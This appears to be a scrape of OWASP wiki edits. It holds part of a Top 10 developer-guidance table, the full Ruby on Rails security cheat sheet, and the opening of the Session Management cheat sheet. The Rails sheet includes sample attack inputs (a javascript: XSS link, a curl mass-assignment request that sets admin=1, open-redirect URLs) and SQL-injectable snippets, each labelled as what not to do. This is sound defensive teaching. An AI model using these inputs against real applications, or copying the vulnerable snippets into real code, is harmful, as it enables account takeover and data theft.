''[https://www.owasp.org/index.php/Testing_for_Weak_security_question/answer_(OTG-AUTHN-008) Testing for Weak security question/answer (OTG-AUTHN-008)]''<br />
''[https://www.owasp.org/index.php/Testing_for_weak_password_change_or_reset_functionalities_(OTG-AUTHN-009) Testing for weak password change or reset functionalities (OTG-AUTHN-009)]''<br />
''[https://www.owasp.org/index.php/Testing_for_Weaker_authentication_in_alternative_channel_(OTG-AUTHN-010) Testing for Weaker authentication in alternative channel (OTG-AUTHN-010)]''<br />
''[https://www.owasp.org/index.php/Testing_for_Bypassing_Authorization_Schema_(OTG-AUTHZ-002) Testing for bypassing authorization schema (OTG-AUTHZ-002)]''<br />
''[https://www.owasp.org/index.php/Testing_for_Privilege_escalation_(OTG-AUTHZ-003) Testing for Privilege Escalation (OTG-AUTHZ-003)]''<br />
''[https://www.owasp.org/index.php/Testing_for_Session_Management_Schema_(OTG-SESS-001) Testing for Bypassing Session Management Schema (OTG-SESS-001)]''<br />
''[https://www.owasp.org/index.php/Testing_for_cookies_attributes_(OTG-SESS-002) Testing for Cookies attributes (OTG-SESS-002)]''<br />
''[https://www.owasp.org/index.php/Testing_for_Session_Fixation_(OTG-SESS-003) Testing for Session Fixation (OTG-SESS-003)]''<br />
''[https://www.owasp.org/index.php/Testing_for_Exposed_Session_Variables_(OTG-SESS-004) Testing for Exposed Session Variables (OTG-SESS-004)]''<br />
''[https://www.owasp.org/index.php/Testing_for_CSRF_(OTG-SESS-005) Testing for Cross Site Request Forgery (CSRF) (OTG-SESS-005)]''<br />
''[https://www.owasp.org/index.php/Testing_for_logout_functionality_(OTG-SESS-006) Testing for logout functionality (OTG-SESS-006)]''<br />
''[https://www.owasp.org/index.php/Test_Session_Timeout_(OTG-SESS-007) Test Session Timeout (OTG-SESS-007)]''<br />
''[https://www.owasp.org/index.php/Testing_for_Session_puzzling_(OTG-SESS-008) Testing for Session puzzling (OTG-SESS-008)]''<br />
<br />
|-<br />
|'''A3 XSS'''<br />
||<br />
<br />
''Render:''<br />
*Set correct content type<br />
*Set safe character set (UTF-8)<br />
*Set correct locale<br />
*Output encode all user data as per output context<br />
*Set input constraints<br />
<br />
''On Submit:''<br />
*Enforce input field type and lengths.<br />
*Validate fields and provide feedback.<br />
*Ensure option selects and radio contain only sent values.<br />
||'''Canonicalize using correct character set'''<br />
'''Positive input validation using correct character set'''<br />
<br />
(NR) Negative input validation <br />
(LR) Sanitize input <br />
<br />
''Tip: Only process data that is 100% trustworthy. Everything else is hostile and should be rejected.''<br />
||''Tip: Do not store data HTML encoded in the database. This prevents new uses for the data, such as web services, RSS feeds, FTP batches, data warehousing, cloud computing, and so on.''<br />
<br />
''Tip: Use OWASP Scrubbr to clean tainted or hostile data from legacy data''<br />
<br />
||<br />
''[https://www.owasp.org/index.php/Testing_for_Reflected_Cross_site_scripting_(OTG-INPVAL-001) Testing for Reflected Cross Site Scripting (OTG-INPVAL-001)]''<br />
''[https://www.owasp.org/index.php/Testing_for_Stored_Cross_site_scripting_(OTG-INPVAL-002) Testing for Stored Cross Site Scripting (OTG-INPVAL-002)]''<br />
''[https://www.owasp.org/index.php/Testing_for_DOM-based_Cross_site_scripting_(OTG-CLIENT-001) Testing for DOM based Cross Site Scripting (OTG-CLIENT-001)]''<br />
''[https://www.owasp.org/index.php/Testing_for_JavaScript_Execution_(OTG-CLIENT-002) Testing for JavaScript Execution (OTG-CLIENT-002)]''<br />
''[https://www.owasp.org/index.php/Testing_for_HTML_Injection_(OTG-CLIENT-003) Testing for HTML Injection (OTG-CLIENT-003)]''<br />
''[https://www.owasp.org/index.php/Testing_for_Cross_site_flashing_(OTG-CLIENT-008) Testing for Cross Site Flashing (OTG-CLIENT-008)]''<br />
<br />
|-<br />
|'''A4 Insecure Direct Object References'''<br />
||If data is from internal trusted sources, no data is sent.<br />
<br />
Or<br />
<br />
''Render:''<br />
*Send indirect random access reference map value.<br />
||Obtain data from internal, trusted sources.<br />
<br />
Or<br />
<br />
Obtain direct value from random access reference access map.<br />
||Validate role is sufficient to create, read, update, or delete data.<br />
<br />
||<br />
''[https://www.owasp.org/index.php/Testing_Directory_traversal/file_include_(OTG-AUTHZ-001) Testing Directory traversal/file include (OTG-AUTHZ-001)]''<br />
''[https://www.owasp.org/index.php/Testing_for_Insecure_Direct_Object_References_(OTG-AUTHZ-004) Testing for Insecure Direct Object References (OTG-AUTHZ-004)]''<br />
''[https://www.owasp.org/index.php/Testing_for_Local_File_Inclusion Testing for Local File Inclusion]''<br />
''[https://www.owasp.org/index.php/Testing_for_Remote_File_Inclusion Testing for Remote File Inclusion]''<br />
<br />
|-<br />
|'''A5 Security Misconfiguration'''<br />
||Ensure web servers and application servers are hardened.<br />
<br />
PHP: Ensure allow_url_fopen and allow_url_include are both disabled in php.ini. Consider the use of Suhosin extension <br />
||Ensure web servers and application servers are hardened <br />
<br />
XML: Ensure common web attacks (remote XSLT transforms, hostile XPath queries, recursive DTDs, and so on) are protected by your XML stack. Do not hand craft XML documents or queries – use the XML layer. <br />
||Ensure database servers are hardened <br />
<br />
||<br />
''[https://www.owasp.org/index.php/Fingerprint_Web_Server_(OTG-INFO-002) Fingerprint Web Server (OTG-INFO-002)]''<br />
''[https://www.owasp.org/index.php/Fingerprint_Web_Application_Framework_(OTG-INFO-008) Fingerprint Web Application Framework (OTG-INFO-008)]''<br />
''[https://www.owasp.org/index.php/Fingerprint_Web_Application_(OTG-INFO-009) Fingerprint Web Application (OTG-INFO-009)]''<br />
''[https://www.owasp.org/index.php/Test_Network/Infrastructure_Configuration_(OTG-CONFIG-001) Test Network/Infrastructure Configuration (OTG-CONFIG-001)]''<br />
''[https://www.owasp.org/index.php/Test_Application_Platform_Configuration_(OTG-CONFIG-002) Test Application Platform Configuration (OTG-CONFIG-002)]''<br />
''[https://www.owasp.org/index.php/Test_File_Extensions_Handling_for_Sensitive_Information_(OTG-CONFIG-003) Test File Extensions Handling for Sensitive Information (OTG-CONFIG-003)]''<br />
''[https://www.owasp.org/index.php/Review_Old,_Backup_and_Unreferenced_Files_for_Sensitive_Information_(OTG-CONFIG-004) Review Old, Backup and Unreferenced Files for Sensitive Information (OTG-CONFIG-004)]''<br />
''[https://www.owasp.org/index.php/Enumerate_Infrastructure_and_Application_Admin_Interfaces_(OTG-CONFIG-005) Enumerate Infrastructure and Application Admin Interfaces (OTG-CONFIG-005)]''<br />
''[https://www.owasp.org/index.php/Test_HTTP_Methods_(OTG-CONFIG-006) Test HTTP Methods (OTG-CONFIG-006)]''<br />
''[https://www.owasp.org/index.php/Test_RIA_cross_domain_policy_(OTG-CONFIG-008) Test RIA cross domain policy (OTG-CONFIG-008)]''<br />
''[https://www.owasp.org/index.php/Testing_for_Error_Code_(OTG-ERR-001) Analysis of Error Codes (OTG-ERR-001)]''<br />
''[https://www.owasp.org/index.php/Testing_for_Stack_Traces_(OTG-ERR-002) Analysis of Stack Traces (OTG-ERR-002)]''<br />
<br />
|-<br />
|'''A6 Sensitive Data Exposure'''<br />
||''Design:''<br />
*Use strong ciphers (AES 128 or better) with secure mode of operations (do not use ECB).<br />
*Use strong hashes (SHA 256 or better) with salts for passwords.<br />
*Protect keys more than any other asset.<br />
*Use TLS 1.2 or later for all web communications.<br />
*Buy extended validation (EV) certificates for public web servers.<br />
<br />
''Tip: Use TLS 1.2 always – even internally. Most snooping is done within corporate networks – and it is as easy and unethical as fishing with dynamite.''<br />
<br />
''Render:''<br />
*Do not send keys or hashes to the browser.<br />
<br />
||''Design:''<br />
*Use strong ciphers (AES 128 or better) with secure mode of operations (do not use ECB).<br />
*Use strong hashes (SHA 256 or better) with salts for passwords.<br />
*Protect keys more than any other asset.<br />
*Mandate strong encrypted communications between web and database servers and any other servers or administrative users.<br />
<br />
''Tip: Only certain personally identifiable information and sensitive values MUST be encrypted. Encrypt data that would be embarrassing or costly if it was leaked or stolen. ''<br />
<br />
''Tip: It is best to encrypt data on the application server, rather than the database server.''<br />
<br />
||''Design:''<br />
<br />
*Mandate strong encrypted communications with application servers and any other servers or administrative users.<br />
<br />
''Tip: Do not use RDBMS database, row or table level encryption. The data can be retrieved in the clear by anyone with direct access to the server, or over the network using the application credentials. It might even traverse the network in the clear despite being "encrypted" on disk. ''<br />
<br />
||<br />
''[https://www.owasp.org/index.php/Testing_for_Weak_SSL/TLS_Ciphers,_Insufficient_Transport_Layer_Protection_(OTG-CRYPST-001) Testing for Weak SSL/TLS Ciphers, Insufficient Transport Layer Protection (OTG-CRYPST-001)]''<br />
''[https://www.owasp.org/index.php/Testing_for_Padding_Oracle_(OTG-CRYPST-002) Testing for Padding Oracle (OTG-CRYPST-002)]''<br />
''[https://www.owasp.org/index.php/Testing_for_Sensitive_information_sent_via_unencrypted_channels_(OTG-CRYPST-003) Testing for Sensitive information sent via unencrypted channels (OTG-CRYPST-003)]''<br />
''[https://www.owasp.org/index.php/Test_HTTP_Strict_Transport_Security_(OTG-CONFIG-007) Test HTTP Strict Transport Security (OTG-CONFIG-007)]''<br />
''[https://www.owasp.org/index.php/Testing_for_Credentials_Transported_over_an_Encrypted_Channel_(OTG-AUTHN-001) Testing for Credentials Transported over an Encrypted Channel (OTG-AUTHN-001)]''<br />
<br />
|-<br />
|'''A7 Missing Function Level Access Control'''<br />
||''Design:''<br />
*Ensure all non-web data is outside the web root (logs, configuration, etc).<br />
*Use octet byte streaming instead of providing access to real files such as PDFs or CSVs or similar.<br />
*Ensure every page requires a role, even if it is "guest".<br />
<br />
''Pre-render:''<br />
*Validate user is authenticated.<br />
*Validate role is sufficient to view secured URL.<br />
<br />
''Render:''<br />
*Send CSRF token.<br />
||<br />
*Validate user is authenticated.<br />
*Validate role is sufficient to perform secured action.<br />
*Validate CSRF token.<br />
<br />
''Tip: It's impossible to control access to secured resources that the web application server does not directly serve. Therefore, PDF reports or similar should be served by the web application server using binary octet streaming. ''<br />
<br />
''Tip: Assume attackers '''will''' learn where "hidden" directories and "random" filenames are, so do not store these files in the web root, even if they are not directly linked.''<br />
||Validate role is sufficient to create, read, update, or delete data<br />
<br />
||<br />
''[https://www.owasp.org/index.php/Testing_Directory_traversal/file_include_(OTG-AUTHZ-001) Testing Directory traversal/file include (OTG-AUTHZ-001)]''<br />
''[https://www.owasp.org/index.php/Testing_for_Bypassing_Authorization_Schema_(OTG-AUTHZ-002) Testing for bypassing authorization schema (OTG-AUTHZ-002)]''<br />
''[https://www.owasp.org/index.php/Testing_for_Bypassing_Authentication_Schema_(OTG-AUTHN-004) Testing for bypassing authentication schema (OTG-AUTHN-004)]''<br />
<br />
|-<br />
|'''A8 Cross Site Request Forgery'''<br />
||''Pre-render:''<br />
*Validate user is authenticated<br />
*Validate role is sufficient for this view<br />
<br />
''Render:''<br />
*Send CSRF token.<br />
*Set "secure" and "HttpOnly" flags for session cookies.<br />
||<br />
*Validate CSRF token.<br />
*Validate role is sufficient to perform this action.<br />
*Validate role is sufficient.<br />
<br />
''Tip: CSRF is '''always '''possible if there is XSS, so make sure XSS is eliminated within your application.''<br />
||Validate role is sufficient to create, read, update, or delete data<br />
<br />
||<br />
''[https://www.owasp.org/index.php/Testing_for_CSRF_(OTG-SESS-005) Testing for Cross Site Request Forgery (CSRF) (OTG-SESS-005)]''<br />
<br />
|-<br />
|'''A9 Using Components with Known Vulnerabilities'''<br />
||<br />
<br />
<br />
||<br />
<br />
<br />
||<br />
<br />
<br />
||<br />
''[https://www.owasp.org/index.php/Enumerate_Applications_on_Webserver_(OTG-INFO-004) Enumerate Applications on Webserver (OTG-INFO-004)]'' <br />
|-<br />
<br />
|-<br />
|'''A10 Unvalidated Redirects and Forwards'''<br />
||<br />
*Design the app without URL redirection parameters.<br />
<br />
or<br />
<br />
''Render:''<br />
*Use random indirect object references for redirection parameters.<br />
<br />
||<br />
*Design the app without URL redirection parameters.<br />
<br />
or<br />
<br />
*Obtain direct redirection parameter from random indirect reference access map.<br />
*(LR) Positive validation of redirection parameter.<br />
*(NR) Java – Do not forward() requests as this prevents SSO access control mechanisms.<br />
<br />
||<br />
*Validate role is sufficient to create, read, update, or delete data.<br />
<br />
||<br />
''[https://www.owasp.org/index.php/Testing_for_Client_Side_URL_Redirect_(OTG-CLIENT-004) Testing for Client Side URL Redirect (OTG-CLIENT-004)]''<br />
<br />
|-<br />
|}<br />
<br />
= Authors and Primary Editors =<br />
<br />
Andrew van der Stock vanderaj[at]owasp.org<br />
<br />
Ismael Rocha Gonçalves ismaelrg[at]gmail.com<br />
<br />
Jorge Correa jacorream@gmail.com<br />
<br />
= Other Cheatsheets =<br />
<br />
{{Cheatsheet_Navigation_Body}}<br />
<br />
[[Category:Cheatsheets]]</div>Dan Wallishttps://wiki.owasp.org/index.php?title=Ruby_on_Rails_Cheatsheet&diff=231874Ruby on Rails Cheatsheet2017-07-27T05:12:03Z<p>Dan Wallis: </p>
<hr />
<div> __NOTOC__<br />
<div style="width:100%;height:160px;border:0,margin:0;overflow: hidden;">[[File:Cheatsheets-header.jpg|link=]]</div><br />
<br />
{| style="padding: 0;margin:0;margin-top:10px;text-align:left;" |-<br />
| valign="top" style="border-right: 1px dotted gray;padding-right:25px;" |<br />
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}''' <br />
= Introduction =<br />
__TOC__{{TOC hidden}}<br />
<br />
This ''Cheatsheet'' intends to provide quick basic Ruby on Rails security tips for developers. It complements, augments or emphasizes points brought up in the [http://guides.rubyonrails.org/security.html rails security guide] from rails core. The Rails framework abstracts developers from quite a bit of tedious work and provides the means to accomplish complex tasks quickly and with ease. New developers, those unfamiliar with the inner-workings of Rails, likely need a basic set of guidelines to secure fundamental aspects of their application. The intended purpose of this doc is to be that guide.<br />
<br />
= Items =<br />
== Command Injection == <br />
<br />
Ruby offers a function called “eval” which will dynamically build new Ruby code based on Strings. It also has a number of ways to call system commands.<br />
<br />
eval("ruby code here")<br />
System("os command here")<br />
`ls -al /` (backticks contain os command)<br />
Kernel.exec("os command here")<br />
open("| os command here")<br />
<br />
While the power of these commands is quite useful, extreme care should be taken when using them in a Rails based application. Usually, its just a bad idea. If need be, a whitelist of possible values should be used and any input should be validated as thoroughly as possible. The Ruby Security Reviewer's Guide has a [http://code.google.com/p/ruby-security/wiki/Guide#Good_ol%27_shell_injection section on injection] and there are a number of OWASP references for it, starting at the top: [[Command Injection]].<br />
<br />
== SQL Injection == <br />
<br />
Ruby on Rails is often used with an ORM called ActiveRecord, though it is flexible and can be used with other data sources. Typically very simple Rails applications use methods on the Rails models to query data. Many use cases protect for SQL Injection out of the box. However, it is possible to write code that allows for SQL Injection. <br />
<br />
Here is an example (Rails 2.X style):<br />
<br />
@projects = Project.find(:all, :conditions => “name like #{params[:name]}”)<br />
<br />
A Rails 3.X example:<br />
<br />
name = params[:name]<br />
@projects = Project.where(“name like ‘“ + name + “‘“);<br />
<br />
In both of these cases, the statement is injectable because the name parameter is not escaped. <br />
<br />
Here is the idiom for building this kind of statement:<br />
<br />
@projects = Project.find(:all, :conditions => [ “name like ?”, “#{params[:name]}”] )<br />
<br />
An AREL based solution:<br />
<br />
@projects = Project.where("name like ?", "%#{params[:name]}%")<br />
<br />
Use caution not to build SQL statements based on user controlled input. A list of more realistic and detailed examples is here: [http://rails-sqli.org rails-sqli.org]. OWASP has extensive information about [[SQL Injection]].<br />
<br />
== Cross-site Scripting (XSS) == <br />
<br />
By default, in Rails 3.0 protection against XSS comes as the default behavior. When string data is shown in views, it is escaped prior to being sent back to the browser. This goes a long way, but there are common cases where developers bypass this protection - for example to enable rich text editing. In the event that you want to pass variables to the front end with tags intact, it is tempting to do the following in your .erb file (ruby markup).<br />
<br />
<%= raw @product.name %> <br />
<%= @product.name.html_safe %> These are examples of how NOT to do it!<br />
<%= content_tag @product.name %><br />
<br />
Unfortunately, any field that uses raw like this will be a potential XSS target. Note that there are also widespread misunderstandings about html_safe. [http://stackoverflow.com/questions/4251284/raw-vs-html-safe-vs-h-to-unescape-html This writeup] describes the underlying SafeBuffer mechanism in detail. Other tags that change the way strings are prepared for output can introduce similar issues, including content_tag.<br />
<br />
If you must accept HTML content from users, consider a markup language for rich text in an application (Examples include: markdown and textile) and disallow HTML tags. This helps ensures that the input accepted doesn’t include HTML content that could be malicious. If you cannot restrict your users from entering HTML, consider implementing content security policy to disallow the execution of any javascript. And finally, consider using the #sanitize method that let's you whitelist allowed tags. Be careful, this method has been shown to be flawed numerous times and will never be a complete solution.<br />
<br />
An often overlooked XSS attack vector is the href value of a link:<br />
<br />
<%= link_to “Personal Website”, @user.website %><br />
<br />
If @user.website contains a link that starts with “javascript:”, the content will execute when a user clicks the generated link:<br />
<br />
<a href=”javascript:alert(‘Haxored’)”>Personal Website</a><br />
<br />
OWASP provides more general information about XSS in a top level page: [[Cross-site Scripting (XSS)]].<br />
<br />
== Sessions ==<br />
<br />
By default, Ruby on Rails uses a Cookie based session store. What that means is that unless you change something, the session will not expire on the server. That means that some default applications may be vulnerable to replay attacks. It also means that sensitive information should never be put in the session.<br />
<br />
The best practice is to use a database based session, which thankfully is very easy with Rails:<br />
<br />
Project::Application.config.session_store :active_record_store<br />
<br />
There is an OWASP [[Session Management Cheat Sheet]].<br />
<br />
== Authentication == <br />
<br />
Generally speaking, Rails does not provide authentication by itself. However, most developers using Rails leverage libraries such as Devise or AuthLogic to provide authentication. To enable authentication with Devise, one simply has to put the following in a controller:<br />
<br />
class ProjectController < ApplicationController<br />
before_filter :authenticate_user<br />
<br />
As with other methods, this supports exceptions. Note that by default Devise only requires 6 characters for a password. The minimum can be changed in: /config/initializers/devise.rb<br />
<br />
config.password_length = 8..128<br />
<br />
There are several possible ways to enforce complexity. One is to put a Validator in the user model.<br />
<br />
validate :password_complexity<br />
def password_complexity<br />
if password.present? and not password.match(/\A(?=.*[a-z])(?=.*[A-Z])(?=.*\d).+\z/)<br />
errors.add :password, "must include at least one lowercase letter, one uppercase letter, and one digit"<br />
end<br />
end<br />
<br />
There is an OWASP [[Authentication Cheat Sheet]].<br />
<br />
== Insecure Direct Object Reference or Forceful Browsing == <br />
<br />
By default, Ruby on Rails apps use a RESTful uri structure. That means that paths are often intuitive and guessable. To protect against a user trying to access or modify data that belongs to another user, it is important to specifically control actions. Out of the gate on a vanilla Rails application, there is no such built in protection. It is possible to do this by hand at the controller level. <br />
<br />
It is also possible, and probably recommended, to consider resource-based access control libraries such as [https://github.com/CanCanCommunity/cancancan cancancan] (cancan replacement) or [https://github.com/elabs/pundit pundit]to do this. This ensures that all operations on a database object are authorized by the business logic of the application. <br />
<br />
More general information about this class of vulnerability is in the [https://www.owasp.org/index.php/Top_10_2010-A4-Insecure_Direct_Object_References OWASP Top 10 Page].<br />
<br />
== CSRF (Cross Site Request Forgery) ==<br />
<br />
Ruby on Rails has specific, built in support for CSRF tokens. To enable it, or ensure that it is enabled, find the base ApplicationController and look for a directive such as the following:<br />
<br />
class ApplicationController < ActionController::Base<br />
protect_from_forgery<br />
<br />
Note that the syntax for this type of control includes a way to add exceptions. Exceptions may be useful for API’s or other reasons - but should be reviewed and consciously included. In the example below, the Rails ProjectController will not provide CSRF protection for the show method.<br />
<br />
class ProjectController < ApplicationController<br />
protect_from_forgery :except => :show<br />
<br />
Also note that by default Rails does not provide CSRF protection for any HTTP GET request.<br />
<br />
There is a top level OWASP page for [[Cross-Site Request Forgery (CSRF)]].<br />
<br />
== Mass Assignment and Strong Parameters == <br />
<br />
Although the major issue with Mass Assignment has been fixed by default in base Rails specifically when generating new projects, it still applies to older and upgraded projects so it is important to understand the issue and to ensure that only attributes that are intended to be modifiable are exposed.<br />
<br />
When working with a model, the attributes on the model will not be accessible to forms being posted unless a programmer explicitly indicates that:<br />
<br />
class Project < ActiveRecord::Base<br />
attr_accessible :name, :admin<br />
end<br />
<br />
With the admin attribute accessible based on the example above, the following could work:<br />
<br />
curl -d “project[name]=triage&project[admin]=1” host:port/projects<br />
<br />
Review accessible attributes to ensure that they should be accessible. If you are working in Rails < 3.2.3 you should ensure that your attributes are whitelisted with the following:<br />
<br />
config.active_record.whitelist_attributes = true<br />
<br />
In Rails 4.0 strong parameters will be the recommended approach for handling attribute visibility. It is also possible to use the strong_parameters gem with Rails 3.x, and the strong_parameters_rails2 gem for Rails 2.3.x applications.<br />
<br />
== Redirects and Forwards == <br />
<br />
Web applications often require the ability to dynamically redirect users based on client-supplied data. To clarify, dynamic redirection usually entails the client including a URL in a parameter within a request to the application. Once received by the application, the user is redirected to the URL specified in the request. For example:<br />
<br />
http://www.example.com/redirect?url=http://www.example_commerce_site.com/checkout<br />
<br />
The above request would redirect the user to http://www.example.com/checkout. The security concern associated with this functionality is leveraging an organization’s trusted brand to phish users and trick them into visiting a malicious site, in our example, “badhacker.com”. Example:<br />
<br />
http://www.example.com/redirect?url=http://badhacker.com<br />
<br />
The most basic, but restrictive protection is to use the :only_path option. Setting this to true will essentially strip out any host information. However, the :only_path option must be part of the first argument. If the first argument is not a hash table, then there is no way to pass in this option. In the absence of a custom helper or whitelist, this is one approach that can work:<br />
<br />
begin<br />
if path = URI.parse(params[:url]).path<br />
redirect_to path<br />
end<br />
rescue URI::InvalidURIError<br />
redirect_to '/'<br />
end<br />
<br />
If matching user input against a list of approved sites or TLDs against regular expression is a must, it makes sense to leverage a library such as URI.parse() to obtain the host and then take the host value and match it against regular expression patterns. Those regular expressions must, at a minimum, have anchors or there is a greater chance of an attacker bypassing the validation routine.<br />
<br />
Example:<br />
<br />
require ‘uri’<br />
host = URI.parse(“#{params[:url]}”).host<br />
validation_routine(host) if host # this can be vulnerable to javascript://trusted.com/%0Aalert(0) so check .scheme and .port too<br />
def validation_routine(host)<br />
# Validation routine where we use \A and \z as anchors *not* ^ and $<br />
# you could also check the host value against a whitelist<br />
end<br />
<br />
Also blind redirecting to user input parameter can lead to XSS. Example:<br />
redirect_to params[:to]<br />
<br />
http://example.com/redirect?to[status]=200&to[protocol]=javascript:alert(0)//<br />
<br />
The obvious fix for this type of vulnerability is to restrict to specific Top-Level Domains (TLDs), statically define specific sites, or map a key to it’s value. Example:<br />
<br />
ACCEPTABLE_URLS = {<br />
‘our_app_1’ => “https://www.example_commerce_site.com/checkout”,<br />
‘our_app_2’ => “https://www.example_user_site.com/change_settings”<br />
}<br />
<br />
http://www.example.com/redirect?url=our_app_1<br />
<br />
def redirect<br />
url = ACCEPTABLE_URLS[“#{params[:url]}”]<br />
redirect_to url if url<br />
end<br />
<br />
There is a more general OWASP resource about [[Unvalidated Redirects and Forwards Cheat Sheet|unvalidated redirects and forwards]].<br />
<br />
== Dynamic Render Paths == <br />
<br />
In Rails, controller actions and views can dynamically determine which view or partial to render by calling the “render” method. If user input is used in or for the template name, an attacker could cause the application to render an arbitrary view, such as an administrative page.<br />
<br />
Care should be taken when using user input to determine which view to render. If possible, avoid any user input in the name or path to the view.<br />
<br />
== Cross Origin Resource Sharing ==<br />
<br />
Occasionally, a need arises to share resources with another domain. For example, a file-upload function that sends data via an AJAX request to another domain. In these cases, the same-origin rules followed by web browsers must be bent. Modern browsers, in compliance with HTML5 standards, will allow this to occur but in order to do this; a couple precautions must be taken.<br />
<br />
When using a nonstandard HTTP construct, such as an atypical Content-Type header, for example, the following applies:<br />
<br />
The receiving site should whitelist only those domains allowed to make such requests as well as set the Access-Control-Allow-Origin header in both the response to the OPTIONS request and POST request. This is because the OPTIONS request is sent first, in order to determine if the remote or receiving site allows the requesting domain. Next, a second request, a POST request, is sent. Once again, the header must be set in order for the transaction to be shown as successful.<br />
<br />
When standard HTTP constructs are used:<br />
<br />
The request is sent and the browser, upon receiving a response, inspects the response headers in order to determine if the response can and should be processed.<br />
<br />
Whitelist in Rails:<br />
<br />
Gemfile<br />
gem 'rack-cors', :require => 'rack/cors'<br />
<br />
config/application.rb<br />
module Sample<br />
class Application < Rails::Application<br />
config.middleware.use Rack::Cors do<br />
allow do<br />
origins 'someserver.example.com'<br />
resource %r{/users/\d+.json},<br />
:headers => ['Origin', 'Accept', 'Content-Type'],<br />
:methods => [:post, :get]<br />
end<br />
end<br />
end<br />
end<br />
<br />
== Security-related headers ==<br />
<br />
To set a header value, simply access the response.headers object as a hash inside your controller (often in a before/after_filter).<br />
<br />
response.headers['X-header-name'] = 'value'<br />
<br />
'''Rails 4''' provides the "default_headers" functionality that will automatically apply the values supplied. This works for most headers in almost all cases.<br />
<br />
ActionDispatch::Response.default_headers = { <br />
'X-Frame-Options' => 'SAMEORIGIN', <br />
'X-Content-Type-Options' => 'nosniff', <br />
'X-XSS-Protection' => '1;'<br />
}<br />
<br />
Strict transport security is a special case, it is set in an environment file (e.g. production.rb)<br />
<br />
config.force_ssl = true<br />
<br />
For those not on the edge, there is a library ([https://github.com/twitter/secureheaders secure_headers]) for the same behavior with content security policy abstraction provided. It will automatically apply logic based on the user agent to produce a concise set of headers.<br />
<br />
== Business Logic Bugs ==<br />
<br />
Any application in any technology can contain business logic errors that result in security bugs. Business logic bugs are difficult to impossible to detect using automated tools. The best ways to prevent business logic security bugs are to do code review, pair program and write unit tests.<br />
<br />
== Attack Surface == <br />
<br />
Generally speaking, Rails avoids open redirect and path traversal types of vulnerabilities because of its /config/routes.rb file which dictates what URL’s should be accessible and handled by which controllers. The routes file is a great place to look when thinking about the scope of the attack surface. An example might be as follows:<br />
<br />
match ':controller(/:action(/:id(.:format)))' # this is an example of what NOT to do<br />
<br />
In this case, this route allows any public method on any controller to be called as an action. As a developer, you want to make sure that users can only reach the controller methods intended and in the way intended.<br />
<br />
== Sensitive Files == <br />
<br />
Many Ruby on Rails apps are open source and hosted on publicly available source code repositories. Whether that is the case or the code is committed to a corporate source control system, there are certain files that should be either excluded or carefully managed.<br />
<br />
/config/database.yml - May contain production credentials.<br />
/config/initializers/secret_token.rb - Contains a secret used to hash session cookie.<br />
/db/seeds.rb - May contain seed data including bootstrap admin user.<br />
/db/development.sqlite3 - May contain real data. <br />
<br />
<br />
== Encryption == <br />
<br />
Rails uses OS encryption. Generally speaking, it is always a bad idea to write your own encryption.<br />
<br />
Devise by default uses bcrypt for password hashing, which is an appropriate solution. Typically, the following config causes the 10 stretches for production: /config/initializers/devise.rb<br />
<br />
config.stretches = Rails.env.test? ? 1 : 10<br />
<br />
= Updating Rails and Having a Process for Updating Dependencies = <br />
<br />
In early 2013, a number of critical vulnerabilities were identified in the Rails Framework. Organizations that had fallen behind current versions had more trouble updating and harder decisions along the way, including patching the source code for the framework itself.<br />
<br />
An additional concern with Ruby applications in general is that most libraries (gems) are not signed by their authors. It is literally impossible to build a Rails based project with libraries that come from trusted sources. One good practice might be to audit the gems you are using.<br />
<br />
In general, it is important to have a process for updating dependencies. An example process might define three mechanisms for triggering an update of response: <br />
* Every month/quarter dependencies in general are updated.<br />
* Every week important security vulnerabilities are taken into account and potentially trigger an update.<br />
* In EXCEPTIONAL conditions, emergency updates may need to be applied.<br />
<br />
= Tools =<br />
<br />
Use [http://brakemanscanner.org/ brakeman], an open source code analysis tool for Rails applications, to identify many potential issues. It will not necessarily produce comprehensive security findings, but it can find easily exposed issues. A great way to see potential issues in Rails is to review the brakeman documentation of warning types.<br />
<br />
There are emerging tools that can be used to track security issues in dependency sets, like https://appcanary.com/ and https://gemnasium.com/.<br />
<br />
Another area of tooling is the security testing tool [http://gauntlt.org Gauntlt] which is built on cucumber and uses gherkin syntax to define attack files.<br />
<br />
Launched in May 2013 and very similiar to brakeman scanner, the [https://github.com/thesp0nge/dawnscanner dawnscanner] rubygem is a static analyzer for security issues that work with Rails, Sinatra and Padrino web applications. Version 0.60 has more than 30 ruby specific CVE security checks and future releases custom checks against Cross Site Scripting and SQL Injections will be added.<br />
<br />
= Authors and Primary Editors = <br />
Matt Konda - mkonda [at] jemurai.com<br/><br />
Neil Matatall neil [at] matatall.com<br/><br />
Ken Johnson cktricky [at] gmail.com<br/><br />
Justin Collins justin [at] presidentbeef.com<br/><br />
Jon Rose - jrose400 [at] gmail.com<br/><br />
Lance Vaughn - lance [at] cabforward.com<br/><br />
Jon Claudius - jonathan.claudius [at] gmail.com<br/><br />
Jim Manico jim [at] owasp.org<br/><br />
Aaron Bedra aaron [at] aaronbedra.com<br/><br />
Egor Homakov homakov [at] gmail.com<br/><br />
<br />
= Related Articles and References = <br />
<br />
* [http://guides.rubyonrails.org/security.html The Official Rails Security Guide]<br />
* [https://www.owasp.org/index.php/Category:OWASP_Ruby_on_Rails_Security_Guide_V2 OWASP Ruby on Rails Security Guide]<br />
* [http://code.google.com/p/ruby-security/wiki/Guide The Ruby Security Reviewers Guide]<br />
* [https://groups.google.com/forum/?fromgroups#!forum/rubyonrails-security The Ruby on Rails Security Mailing List]<br />
* [http://blog.codeclimate.com/blog/2013/03/27/rails-insecure-defaults/ Rails Insecure Defaults]<br />
<br />
== Other Cheatsheets ==<br />
<br />
{{Cheatsheet_Navigation_Body}}<br />
<br />
|}<br />
<br />
[[Category:Cheatsheets]]</div>Dan Wallishttps://wiki.owasp.org/index.php?title=Session_Management_Cheat_Sheet&diff=231870Session Management Cheat Sheet2017-07-27T05:01:51Z<p>Dan Wallis: </p>
<hr />
<div> __NOTOC__<br />
<div style="width:100%;height:160px;border:0,margin:0;overflow: hidden;">[[File:Cheatsheets-header.jpg|link=]]</div><br />
<br />
{| style="padding: 0;margin:0;margin-top:10px;text-align:left;" |-<br />
| valign="top" style="border-right: 1px dotted gray;padding-right:25px;" |<br />
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}''' <br />
= Introduction =<br />
__TOC__{{TOC hidden}}<br />
<br />
'''Web Authentication, Session Management, and Access Control''' <br />
<br />
